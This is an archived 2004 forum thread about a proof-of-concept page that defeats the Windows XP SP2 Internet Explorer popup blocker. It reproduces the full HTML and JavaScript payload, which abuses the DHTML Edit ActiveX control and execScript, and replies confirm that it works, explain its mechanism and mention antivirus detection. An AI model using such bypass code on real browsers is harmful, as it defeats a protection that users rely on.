Valhalla Legends Archive

General => General Discussion => Topic started by: iago on December 10, 2004, 03:06 PM

Title: Defeating XP SP2 Popup Blocker
Post by: iago on December 10, 2004, 03:06 PM
http://www.malware.com/flopup.html

Can somebody confirm that that works to block SP2's popup blocker? I don't have an SP2 machine handy to test it on.  The code for it is:

<body onload="setTimeout('   main()   ',1000)">
<object
id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
width="1"
height="1"
align="middle"
>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>

<SCRIPT>

// 10.11.04 http://www.editive.com

function shellscript()
{
open("http://www.malware.com/flywin.html","_blank","scrollbar=no");
showModalDialog("http://www.malware.com/flywin.html");
}

function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
}
</SCRIPT>
<br><br><br><br><br><br><center><img src=nocigar.gif><br><br><FONT FACE=ARIAL SIZE 12PT>NO CIGAR !</FONT></center>
Title: Re: Defeating XP SP2 Popup Blocker
Post by: dxoigmn on December 10, 2004, 03:39 PM
Works here, that code bypasses the popup blocker.
Title: Re: Defeating XP SP2 Popup Blocker
Post by: MyndFyre on December 11, 2004, 10:53 PM
That's because it doesn't actually use popups (the popup blocker blocks window.open() in Javascript).  That COM class is "DHTML Edit Control Safe for Scripting for IE5" so I'm not sure what he did in the web page dialog object, but it sucks.  Wonderful to have.
Title: Re: Defeating XP SP2 Popup Blocker
Post by: iago on December 12, 2004, 12:03 AM
In any case, it never showed up with Firefox.  So I win :)
Title: Re: Defeating XP SP2 Popup Blocker
Post by: hismajesty on December 12, 2004, 05:55 PM
when I went to that page with IE it wanted me to install frontpage!
Title: Re: Defeating XP SP2 Popup Blocker
Post by: quasi-modo on December 13, 2004, 03:38 PM
Popups are becoming less of a problem. Nowadays I am browsing with javascript turned off altogether because of annoying divs with ads in them sliding across my screen, etc.
Title: Re: Defeating XP SP2 Popup Blocker
Post by: MyndFyre on December 13, 2004, 04:53 PM
At work:

Quote
Access Denied (content_filter_denied)


Your request was denied because of its content categorization: "Hacking;Information Technology" 


For assistance, contact your network support team. 
Title: Re: Defeating XP SP2 Popup Blocker
Post by: iago on December 13, 2004, 06:05 PM
Well, it IS malware.com.  At the moment, we don't have content filters at work, but we should.
Title: Re: Defeating XP SP2 Popup Blocker
Post by: Spht on December 24, 2005, 09:31 AM
*yawn* It was no match for me, iago.

http://www.valhallalegends.com/spht/no_cigar.gif

Get a REAL browser!
Title: Re: Defeating XP SP2 Popup Blocker
Post by: Maddox on December 27, 2005, 12:49 AM
McAfee detected an "IE-exploit."